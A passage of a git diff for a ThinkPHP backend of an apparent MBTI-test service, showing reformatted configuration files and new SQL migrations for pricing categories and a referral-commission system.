"license": "Apache-2.0", - "require": { - "php": ">=8.0.0", - "aliyuncs/oss-sdk-php": "^2.7", - "topthink/framework": "^8.0", - "topthink/think-orm": "^3.0", - "topthink/think-view": "^1.0" - }, - "require-dev": { - "symfony/var-dumper": "^5.1", - "topthink/think-trace": "^1.0" - }, - "autoload": { - "psr-4": { - "app\\": "app/" - } - }, - "config": { - "preferred-install": "composer", - "optimize-autoloader": true, - "sort-packages": true - }, - "minimum-stability": "dev", - "prefer-stable": true -} +{ + "name": "news/backend", + "description": "新闻资讯网站后端API服务", + "type": "project", + "keywords": [ + "thinkphp", + "api", + "news" + ], + "homepage": "https://github.com/topthink/framework", + "license": "Apache-2.0", + "require": { + "php": ">=8.0.0", + "aliyuncs/oss-sdk-php": "^2.7", + "topthink/framework": "^8.0", + "topthink/think-orm": "^3.0", + "topthink/think-view": "^1.0" + }, + "require-dev": { + "symfony/var-dumper": "^5.1", + "topthink/think-trace": "^1.0" + }, + "autoload": { + "psr-4": { + "app\\": "app/" + } + }, + "config": { + "preferred-install": "composer", + "optimize-autoloader": true, + "sort-packages": true + }, + "minimum-stability": "dev", + "prefer-stable": true +} diff --git a/api/config/app.php b/api/config/app.php index 2467815..c8f8359 100644 --- a/api/config/app.php +++ b/api/config/app.php @@ -1,105 +1,105 @@ - -// +---------------------------------------------------------------------- -// +---------------------------------------------------------------------- -// | 应用设置 -// +---------------------------------------------------------------------- - -return [ - // +---------------------------------------------------------------------- - // | 应用基础配置 - // +---------------------------------------------------------------------- - - // 应用名称 - 'app_name' => env('app.name', ''), - // 应用地址 - 'app_host' => env('app.host', ''), - // 应用的命名空间 - 'app_namespace' => '', - // 是否启用路由 - 'with_route' => true, - // 默认应用 - 'default_app' => 'index', - // 默认时区 - 'default_timezone' => 'Asia/Shanghai', - - // +---------------------------------------------------------------------- - // | 应用调试配置 - // +---------------------------------------------------------------------- - - // 应用调试模式(从环境变量读取,开发环境建议开启) - 'app_debug' => env('app.debug', false), - // 应用Trace(从环境变量读取,开发环境建议开启) - 'app_trace' => env('app.trace', false), - - // +---------------------------------------------------------------------- - // | 输出配置 - // +---------------------------------------------------------------------- - - // 默认输出类型 - 'default_return_type' => 'json', - // 默认AJAX 数据返回格式,可选json xml ... - 'default_ajax_return' => 'json', - // 默认JSONP格式返回的处理方法 - 'default_jsonp_handler' => 'jsonpReturn', - // 默认JSONP处理方法 - 'var_jsonp_handler' => 'callback', - - // +---------------------------------------------------------------------- - // | 语言配置 - // +---------------------------------------------------------------------- - - // 是否开启多语言 - 'lang_switch_on' => false, - // 默认语言 - 'default_lang' => 'zh-cn', - // 默认全局过滤方法 用逗号分隔多个 - 'default_filter' => '', - - // +---------------------------------------------------------------------- - // | 类库配置 - // +---------------------------------------------------------------------- - - // 应用类库后缀 - 'class_suffix' => false, - // 控制器类后缀 - 'controller_suffix' => false, - - // +---------------------------------------------------------------------- - // | URL配置 - // +---------------------------------------------------------------------- - - // 应用映射(可选) - 'app_map' => [], - // 域名绑定(可选) - 'domain_bind' => [], - - // +---------------------------------------------------------------------- - // | 异常处理配置 - // +---------------------------------------------------------------------- - - // 异常页面的模板文件 - 'exception_tmpl' => app()->getThinkPath() . 'tpl/think_exception.tpl', - // 错误显示信息,非调试模式有效 - 'error_message' => '页面错误!请稍后再试~', - // 显示错误信息 - 'show_error_msg' => true, - // 异常处理handle类 留空使用 \think\exception\Handle - 'exception_handle' => '', - - // +---------------------------------------------------------------------- - // | 其他配置 - // +---------------------------------------------------------------------- - - // 应用模式状态 - 'app_status' => '', -]; - - + +// +---------------------------------------------------------------------- +// +---------------------------------------------------------------------- +// | 应用设置 +// +---------------------------------------------------------------------- + +return [ + // +---------------------------------------------------------------------- + // | 应用基础配置 + // +---------------------------------------------------------------------- + + // 应用名称 + 'app_name' => env('app.name', ''), + // 应用地址 + 'app_host' => env('app.host', ''), + // 应用的命名空间 + 'app_namespace' => '', + // 是否启用路由 + 'with_route' => true, + // 默认应用 + 'default_app' => 'index', + // 默认时区 + 'default_timezone' => 'Asia/Shanghai', + + // +---------------------------------------------------------------------- + // | 应用调试配置 + // +---------------------------------------------------------------------- + + // 应用调试模式(从环境变量读取,开发环境建议开启) + 'app_debug' => env('app.debug', false), + // 应用Trace(从环境变量读取,开发环境建议开启) + 'app_trace' => env('app.trace', false), + + // +---------------------------------------------------------------------- + // | 输出配置 + // +---------------------------------------------------------------------- + + // 默认输出类型 + 'default_return_type' => 'json', + // 默认AJAX 数据返回格式,可选json xml ... + 'default_ajax_return' => 'json', + // 默认JSONP格式返回的处理方法 + 'default_jsonp_handler' => 'jsonpReturn', + // 默认JSONP处理方法 + 'var_jsonp_handler' => 'callback', + + // +---------------------------------------------------------------------- + // | 语言配置 + // +---------------------------------------------------------------------- + + // 是否开启多语言 + 'lang_switch_on' => false, + // 默认语言 + 'default_lang' => 'zh-cn', + // 默认全局过滤方法 用逗号分隔多个 + 'default_filter' => '', + + // +---------------------------------------------------------------------- + // | 类库配置 + // +---------------------------------------------------------------------- + + // 应用类库后缀 + 'class_suffix' => false, + // 控制器类后缀 + 'controller_suffix' => false, + + // +---------------------------------------------------------------------- + // | URL配置 + // +---------------------------------------------------------------------- + + // 应用映射(可选) + 'app_map' => [], + // 域名绑定(可选) + 'domain_bind' => [], + + // +---------------------------------------------------------------------- + // | 异常处理配置 + // +---------------------------------------------------------------------- + + // 异常页面的模板文件 + 'exception_tmpl' => app()->getThinkPath() . 'tpl/think_exception.tpl', + // 错误显示信息,非调试模式有效 + 'error_message' => '页面错误!请稍后再试~', + // 显示错误信息 + 'show_error_msg' => true, + // 异常处理handle类 留空使用 \think\exception\Handle + 'exception_handle' => '', + + // +---------------------------------------------------------------------- + // | 其他配置 + // +---------------------------------------------------------------------- + + // 应用模式状态 + 'app_status' => '', +]; + + diff --git a/api/config/cache.php b/api/config/cache.php index 8851a47..ed8349b 100644 --- a/api/config/cache.php +++ b/api/config/cache.php @@ -1,42 +1,42 @@ - env('cache.driver', 'file'), - - // 缓存连接方式配置 - 'stores' => [ - // 文件缓存 - 'file' => [ - // 驱动方式 - 'type' => 'File', - // 缓存保存目录 - 'path' => '', - // 缓存前缀 - 'prefix' => '', - // 缓存有效期 0表示永久缓存 - 'expire' => 0, - // 缓存标签前缀 - 'tag_prefix' => 'tag:', - // 序列化机制 例如 ['serialize', 'unserialize'] - 'serialize' => [], - ], - - // Redis缓存 - 'redis' => [ - // 驱动方式 - 'type' => 'redis', - // 服务器地址 - 'host' => env('redis.hostname', '127.0.0.1'), - // 端口 - 'port' => env('redis.port', 6379), - // 密码 - 'password' => env('redis.password', ''), - // 缓存前缀 - 'prefix' => '', - // 缓存有效期 0表示永久缓存 - 'expire' => 0, - ], - ], -]; - + env('cache.driver', 'file'), + + // 缓存连接方式配置 + 'stores' => [ + // 文件缓存 + 'file' => [ + // 驱动方式 + 'type' => 'File', + // 缓存保存目录 + 'path' => '', + // 缓存前缀 + 'prefix' => '', + // 缓存有效期 0表示永久缓存 + 'expire' => 0, + // 缓存标签前缀 + 'tag_prefix' => 'tag:', + // 序列化机制 例如 ['serialize', 'unserialize'] + 'serialize' => [], + ], + + // Redis缓存 + 'redis' => [ + // 驱动方式 + 'type' => 'redis', + // 服务器地址 + 'host' => env('redis.hostname', '127.0.0.1'), + // 端口 + 'port' => env('redis.port', 6379), + // 密码 + 'password' => env('redis.password', ''), + // 缓存前缀 + 'prefix' => '', + // 缓存有效期 0表示永久缓存 + 'expire' => 0, + ], + ], +]; + diff --git a/api/config/cors.php b/api/config/cors.php index 98a4a57..69244d6 100644 --- a/api/config/cors.php +++ b/api/config/cors.php @@ -1,18 +1,18 @@ - '*', - - // 允许的HTTP方法 - 'allow_methods' => env('cors.allow_methods', 'GET,POST,PUT,DELETE,OPTIONS'), - - // 允许的请求头 - 'allow_headers' => env('cors.allow_headers', 'Content-Type,Authorization,X-Requested-With,Accept'), - - // 是否允许携带凭证(如果以后要带 cookie 再改成 true) - 'allow_credentials' => env('cors.allow_credentials', false), - - // 预检请求缓存时间(秒) - 'max_age' => env('cors.max_age', 86400), + '*', + + // 允许的HTTP方法 + 'allow_methods' => env('cors.allow_methods', 'GET,POST,PUT,DELETE,OPTIONS'), + + // 允许的请求头 + 'allow_headers' => env('cors.allow_headers', 'Content-Type,Authorization,X-Requested-With,Accept'), + + // 是否允许携带凭证(如果以后要带 cookie 再改成 true) + 'allow_credentials' => env('cors.allow_credentials', false), + + // 预检请求缓存时间(秒) + 'max_age' => env('cors.max_age', 86400), ]; \ No newline at end of file diff --git a/api/config/database.php b/api/config/database.php index ce2d843..d9157ce 100644 --- a/api/config/database.php +++ b/api/config/database.php @@ -1,59 +1,59 @@ - env('database.driver', 'mysql'), - - // 自定义时间查询规则 - 'time_query_rule' => [], - - // 自动写入时间戳字段 - // true为自动识别类型 false关闭 - // 字符串则明确指定时间字段类型 支持 int timestamp datetime date - 'auto_timestamp' => true, - - // 时间字段取出后的默认时间格式 - 'datetime_format' => 'Y-m-d H:i:s', - - // 数据库连接配置信息 - 'connections' => [ - 'mysql' => [ - // 数据库类型 - 'type' => env('database.type', 'mysql'), - // 服务器地址 - 'hostname' => env('database.hostname', '127.0.0.1'), - // 数据库名 - 'database' => env('database.database', 'news_db'), - // 用户名 - 'username' => env('database.username', 'root'), - // 密码 - 'password' => env('database.password', ''), - // 端口 - 'hostport' => env('database.hostport', '3306'), - // 数据库连接参数 - 'params' => [], - // 数据库编码默认采用utf8mb4 - 'charset' => env('database.charset', 'utf8mb4'), - // 数据库表前缀 - 'prefix' => env('database.prefix', 'wong_'), - // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) - 'deploy' => 0, - // 数据库读写是否分离 主从式有效 - 'rw_separate' => false, - // 读写分离后 主服务器数量 - 'master_num' => 1, - // 指定从服务器序号 - 'slave_no' => '', - // 是否严格检查字段是否存在 - 'fields_strict' => true, - // 是否需要断线重连 - 'break_reconnect' => true, - // 监听SQL - 'trigger_sql' => env('app_debug', true), - // 开启字段缓存 - 'fields_cache' => false, - ], - ], -]; - - + env('database.driver', 'mysql'), + + // 自定义时间查询规则 + 'time_query_rule' => [], + + // 自动写入时间戳字段 + // true为自动识别类型 false关闭 + // 字符串则明确指定时间字段类型 支持 int timestamp datetime date + 'auto_timestamp' => true, + + // 时间字段取出后的默认时间格式 + 'datetime_format' => 'Y-m-d H:i:s', + + // 数据库连接配置信息 + 'connections' => [ + 'mysql' => [ + // 数据库类型 + 'type' => env('database.type', 'mysql'), + // 服务器地址 + 'hostname' => env('database.hostname', '127.0.0.1'), + // 数据库名 + 'database' => env('database.database', 'news_db'), + // 用户名 + 'username' => env('database.username', 'root'), + // 密码 + 'password' => env('database.password', ''), + // 端口 + 'hostport' => env('database.hostport', '3306'), + // 数据库连接参数 + 'params' => [], + // 数据库编码默认采用utf8mb4 + 'charset' => env('database.charset', 'utf8mb4'), + // 数据库表前缀 + 'prefix' => env('database.prefix', 'wong_'), + // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) + 'deploy' => 0, + // 数据库读写是否分离 主从式有效 + 'rw_separate' => false, + // 读写分离后 主服务器数量 + 'master_num' => 1, + // 指定从服务器序号 + 'slave_no' => '', + // 是否严格检查字段是否存在 + 'fields_strict' => true, + // 是否需要断线重连 + 'break_reconnect' => true, + // 监听SQL + 'trigger_sql' => env('app_debug', true), + // 开启字段缓存 + 'fields_cache' => false, + ], + ], +]; + + diff --git a/api/config/jwt.php b/api/config/jwt.php index 7b57912..2c8e905 100644 --- a/api/config/jwt.php +++ b/api/config/jwt.php @@ -1,13 +1,13 @@ - env('jwt.secret', 'mbti_jwt_secret_key_2024_change_in_production'), - - // Token过期时间(秒),默认7天 - 'expire' => env('jwt.expire', 86400 * 7), - - // Token刷新时间(秒),默认6天 - 'refresh_expire' => env('jwt.refresh_expire', 86400 * 6), -]; - + env('jwt.secret', 'mbti_jwt_secret_key_2024_change_in_production'), + + // Token过期时间(秒),默认7天 + 'expire' => env('jwt.expire', 86400 * 7), + + // Token刷新时间(秒),默认6天 + 'refresh_expire' => env('jwt.refresh_expire', 86400 * 6), +]; + diff --git a/api/config/log.php b/api/config/log.php index 1095ebe..cb281df 100644 --- a/api/config/log.php +++ b/api/config/log.php @@ -1,34 +1,34 @@ - env('log.channel', 'file'), - // 日志记录级别 - 'level' => [], - // 日志通道配置 - 'channels' => [ - 'file' => [ - // 日志记录方式 - 'type' => 'File', - // 日志保存目录 - 'path' => '', - // 单文件日志写入 - 'single' => false, - // 独立日志级别 - 'apart_level' => [], - // 最大日志文件数量 - 'max_files' => 0, - // 使用JSON格式记录 - 'json' => false, - // 日志处理 - 'processor' => null, - // 关闭通道日志写入 - 'close' => false, - // 日志输出格式化 - 'format' => '[%s][%s] %s', - // 是否实时写入 - 'realtime_write' => true, - ], - ], -]; - + env('log.channel', 'file'), + // 日志记录级别 + 'level' => [], + // 日志通道配置 + 'channels' => [ + 'file' => [ + // 日志记录方式 + 'type' => 'File', + // 日志保存目录 + 'path' => '', + // 单文件日志写入 + 'single' => false, + // 独立日志级别 + 'apart_level' => [], + // 最大日志文件数量 + 'max_files' => 0, + // 使用JSON格式记录 + 'json' => false, + // 日志处理 + 'processor' => null, + // 关闭通道日志写入 + 'close' => false, + // 日志输出格式化 + 'format' => '[%s][%s] %s', + // 是否实时写入 + 'realtime_write' => true, + ], + ], +]; + diff --git a/api/config/middleware.php b/api/config/middleware.php index b9569ef..dab7c22 100644 --- a/api/config/middleware.php +++ b/api/config/middleware.php @@ -1,14 +1,14 @@ - 'app\\middleware', - // 全局中间件 - 'alias' => [ - 'cors' => \app\middleware\Cors::class, - 'auth' => \app\middleware\Auth::class, - 'superadmin' => \app\middleware\SuperAdmin::class, - ], -]; - - + 'app\\middleware', + // 全局中间件 + 'alias' => [ + 'cors' => \app\middleware\Cors::class, + 'auth' => \app\middleware\Auth::class, + 'superadmin' => \app\middleware\SuperAdmin::class, + ], +]; + + diff --git a/api/config/route.php b/api/config/route.php index 89b4634..71ad664 100644 --- a/api/config/route.php +++ b/api/config/route.php @@ -1,30 +1,30 @@ - false, - // 是否强制使用路由 - 'url_route_must' => false, - // 合并路由规则 - 'route_rule_merge' => false, - // 路由是否完全匹配 - 'route_complete_match' => false, - // 是否去除URL中的.html后缀 - 'url_html_suffix' => '', - // 访问控制器层名称 - 'controller_layer' => 'controller', - // 空控制器名 - 'empty_controller' => 'Error', - // 操作方法后缀 - 'action_suffix' => '', - // 默认的路由变量规则 - 'default_route_pattern' => '[\w\.]+', - // URL普通方式参数 '?变量1=值1&变量2=值2...' - 'url_common_param' => true, - // 是否开启路由延迟解析 - 'url_lazy_route' => false, - // 是否强制HTTPS - 'url_https' => false, -]; - - + false, + // 是否强制使用路由 + 'url_route_must' => false, + // 合并路由规则 + 'route_rule_merge' => false, + // 路由是否完全匹配 + 'route_complete_match' => false, + // 是否去除URL中的.html后缀 + 'url_html_suffix' => '', + // 访问控制器层名称 + 'controller_layer' => 'controller', + // 空控制器名 + 'empty_controller' => 'Error', + // 操作方法后缀 + 'action_suffix' => '', + // 默认的路由变量规则 + 'default_route_pattern' => '[\w\.]+', + // URL普通方式参数 '?变量1=值1&变量2=值2...' + 'url_common_param' => true, + // 是否开启路由延迟解析 + 'url_lazy_route' => false, + // 是否强制HTTPS + 'url_https' => false, +]; + + diff --git a/api/config/upload.php b/api/config/upload.php index 680d735..a05bec6 100644 --- a/api/config/upload.php +++ b/api/config/upload.php @@ -1,34 +1,34 @@ - env('upload.driver', 'oss'), - - // 本地存储配置 - 'local' => [ - // 本地物理路径 - 'root' => app()->getRootPath() . 'public/uploads', - // 访问 URL 前缀(可配置独立静态域名),末尾不要带斜杠 - // 例如:http://localhost:8000 或 https://static.example.com 或 https://api.737270.com - // 注意:不要在这里再加 /uploads,避免出现 /uploads/uploads/xxx 的情况 - // 优先级:app.asset_url > app.host > api.737270.com(默认) - 'url' => rtrim(env('app.asset_url', env('app.host', env('API_DOMAIN', 'https://api.737270.com'))), '/'), - ], - - // 阿里云 OSS 配置(参考 database.php,使用点号分隔的键名) - 'oss' => [ - // AccessKey ID(对应 .env 中的 OSS_ACCESS_KEY_ID) - 'access_key_id' => env('oss.access_key_id', ''), - // AccessKey Secret(对应 .env 中的 OSS_ACCESS_KEY_SECRET) - 'access_key_secret' => env('oss.access_key_secret', ''), - // OSS Endpoint(对应 .env 中的 OSS_ENDPOINT),如:oss-cn-hangzhou.aliyuncs.com - 'endpoint' => env('oss.endpoint', ''), - // OSS Bucket 名称(对应 .env 中的 OSS_BUCKET) - 'bucket' => env('oss.bucket', ''), - // 对象存储前缀(对应 .env 中的 OSS_PREFIX),默认:mbti - 'prefix' => env('oss.prefix', 'mbti'), - // OSS 访问域名(对应 .env 中的 OSS_URL) - // 如果未配置,将自动使用 OSS 自带域名:https://{bucket}.{endpoint} - 'url' => rtrim(env('oss.url', ''), '/'), - ], -]; + env('upload.driver', 'oss'), + + // 本地存储配置 + 'local' => [ + // 本地物理路径 + 'root' => app()->getRootPath() . 'public/uploads', + // 访问 URL 前缀(可配置独立静态域名),末尾不要带斜杠 + // 例如:http://localhost:8000 或 https://static.example.com 或 https://api.737270.com + // 注意:不要在这里再加 /uploads,避免出现 /uploads/uploads/xxx 的情况 + // 优先级:app.asset_url > app.host > api.737270.com(默认) + 'url' => rtrim(env('app.asset_url', env('app.host', env('API_DOMAIN', 'https://api.737270.com'))), '/'), + ], + + // 阿里云 OSS 配置(参考 database.php,使用点号分隔的键名) + 'oss' => [ + // AccessKey ID(对应 .env 中的 OSS_ACCESS_KEY_ID) + 'access_key_id' => env('oss.access_key_id', ''), + // AccessKey Secret(对应 .env 中的 OSS_ACCESS_KEY_SECRET) + 'access_key_secret' => env('oss.access_key_secret', ''), + // OSS Endpoint(对应 .env 中的 OSS_ENDPOINT),如:oss-cn-hangzhou.aliyuncs.com + 'endpoint' => env('oss.endpoint', ''), + // OSS Bucket 名称(对应 .env 中的 OSS_BUCKET) + 'bucket' => env('oss.bucket', ''), + // 对象存储前缀(对应 .env 中的 OSS_PREFIX),默认:mbti + 'prefix' => env('oss.prefix', 'mbti'), + // OSS 访问域名(对应 .env 中的 OSS_URL) + // 如果未配置,将自动使用 OSS 自带域名:https://{bucket}.{endpoint} + 'url' => rtrim(env('oss.url', ''), '/'), + ], +]; diff --git a/api/config/wechat.php b/api/config/wechat.php index ec18553..2ab2485 100644 --- a/api/config/wechat.php +++ b/api/config/wechat.php @@ -1,7 +1,7 @@ - env('WECHAT_APP_ID', ''), - 'app_secret' => env('WECHAT_APP_SECRET', ''), -]; + env('WECHAT_APP_ID', ''), + 'app_secret' => env('WECHAT_APP_SECRET', ''), +]; diff --git a/api/database/add_deep_pricing_categories.sql b/api/database/add_deep_pricing_categories.sql new file mode 100644 index 0000000..b1d6b60 --- /dev/null +++ b/api/database/add_deep_pricing_categories.sql @@ -0,0 +1,7 @@ +-- 深度服务价格类目:个人版(deep_personal) 与 企业版(deep_enterprise),可配置、可新增类目 +-- 表需有 UNIQUE(type, enterpriseId)。若已存在对应 type 会更新 config。 + +INSERT INTO `mbti_pricing_config` (`type`, `enterpriseId`, `config`, `createdAt`, `updatedAt`) VALUES +('deep_personal', NULL, '{"categories":[{"id":"personal_insight","title":"个人深度洞察版","price":198,"priceUnit":"/次","subtitle":"三张照片+问卷,全面解锁你的内在潜能","features":["AI面部分析(基于东方面相学与西方心理学)","MBTI性格测试(16型人格完整解读)","盖洛普优势Top5识别(发现你的核心天赋)","PDP行为偏好分析(了解你的行为模式)","DISC沟通风格分析(提升沟通效率)","多维度综合性格报告(包含优势解读、潜在盲区提示)","职业发展方向推荐(匹配最适合你的职业)"],"actionType":"buy","productKey":"personal_insight"}]}', UNIX_TIMESTAMP(), UNIX_TIMESTAMP()), +('deep_enterprise', NULL, '{"categories":[{"id":"startup","title":"团队启动版","priceDisplay":"¥19,800","subtitle":"适合初创团队、小型部门","userLimit":"最多10人","features":["10人完成个人深度洞察报告","1次团队动力诊断分析会(2-3小时)","识别团队优势组合与潜在风险点"],"actionType":"consult","consultWechat":"28533368","buttonText":"申请咨询"},{"id":"growth","title":"团队成长版","priceDisplay":"¥39,800","subtitle":"适合成长型团队","userLimit":"10-30人","features":["最多30人完成个人深度洞察报告","包含\"启动版\"所有内容","1次定制化团队协作增效工作坊(7天)","聚焦沟通优化、优势协作等主题"],"actionType":"consult","consultWechat":"28533368","buttonText":"申请咨询"},{"id":"transform","title":"团队蜕变版","priceDisplay":"¥98,000","subtitle":"适合中大型团队","userLimit":"最多100人","features":["最多100人完成个人深度洞察报告","包含\"成长版\"所有内容","更深度、更定制化的系列组合(≥2工作日)","3个月的落地跟进顾问服务"],"actionType":"consult","consultWechat":"28533368","buttonText":"申请咨询"}]}', UNIX_TIMESTAMP(), UNIX_TIMESTAMP()) +ON DUPLICATE KEY UPDATE `config` = VALUES(`config`), `updatedAt` = UNIX_TIMESTAMP(); diff --git a/api/database/add_distribution_tables.sql b/api/database/add_distribution_tables.sql new file mode 100644 index 0000000..291a7e8 --- /dev/null +++ b/api/database/add_distribution_tables.sql @@ -0,0 +1,206 @@ +-- ============================================================ +-- 分销系统数据库迁移(兼容 MySQL 5.7+) +-- 版本: v1.1 日期: 2026-03-04 +-- 执行方式:直接在数据库客户端或命令行运行此文件 +-- ============================================================ + +-- ---------------------------- +-- 1. 新建分销绑定记录表 +-- ---------------------------- +CREATE TABLE IF NOT EXISTS `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`), + UNIQUE KEY `uk_invitee_scope_ent` (`inviteeId`, `scope`, `enterpriseId`), + INDEX `idx_inviterId` (`inviterId`), + INDEX `idx_inviteeId` (`inviteeId`), + INDEX `idx_prevInviterId` (`prevInviterId`), + INDEX `idx_expireAt` (`expireAt`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='分销绑定记录表'; + +-- ---------------------------- +-- 2. 新建分销提现记录表 +-- ---------------------------- +CREATE TABLE IF NOT EXISTS `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `realNameInfo` varchar(500) NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` varchar(20) NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', + `auditNote` varchar(500) NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + PRIMARY KEY (`id`), + INDEX `idx_userId` (`userId`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='分销提现记录表'; + +-- ---------------------------- +-- 3. wechat_users 增加钱包字段(逐列判断,MySQL 5.7 兼容) +-- ---------------------------- +SET @dbname = DATABASE(); + +-- walletBalance +SET @col = 'walletBalance'; +SET @tbl = 'mbti_wechat_users'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT ''钱包余额(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- walletTotalEarned +SET @col = 'walletTotalEarned'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT ''历史累计佣金(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- walletPending +SET @col = 'walletPending'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT ''待入账佣金(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- ---------------------------- +-- 4. commission_records 增加分销字段(逐列判断) +-- ---------------------------- +SET @tbl = 'mbti_commission_records'; + +SET @col = 'scope'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `scope` varchar(20) NOT NULL DEFAULT ''personal'' COMMENT ''分销维度'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'enterpriseId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `enterpriseId` int(11) NULL DEFAULT NULL COMMENT ''企业ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'inviterId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `inviterId` int(11) NULL DEFAULT NULL COMMENT ''推荐人ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'inviteeId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `inviteeId` int(11) NULL DEFAULT NULL COMMENT ''付款用户ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'bindingId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `bindingId` int(11) NULL DEFAULT NULL COMMENT ''绑定记录ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'orderAmount'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT ''订单金额(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'commissionFen'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT ''佣金金额(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'frozenAt'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `frozenAt` int(11) NULL DEFAULT NULL COMMENT ''冻结时间'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'unfrozenAt'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', 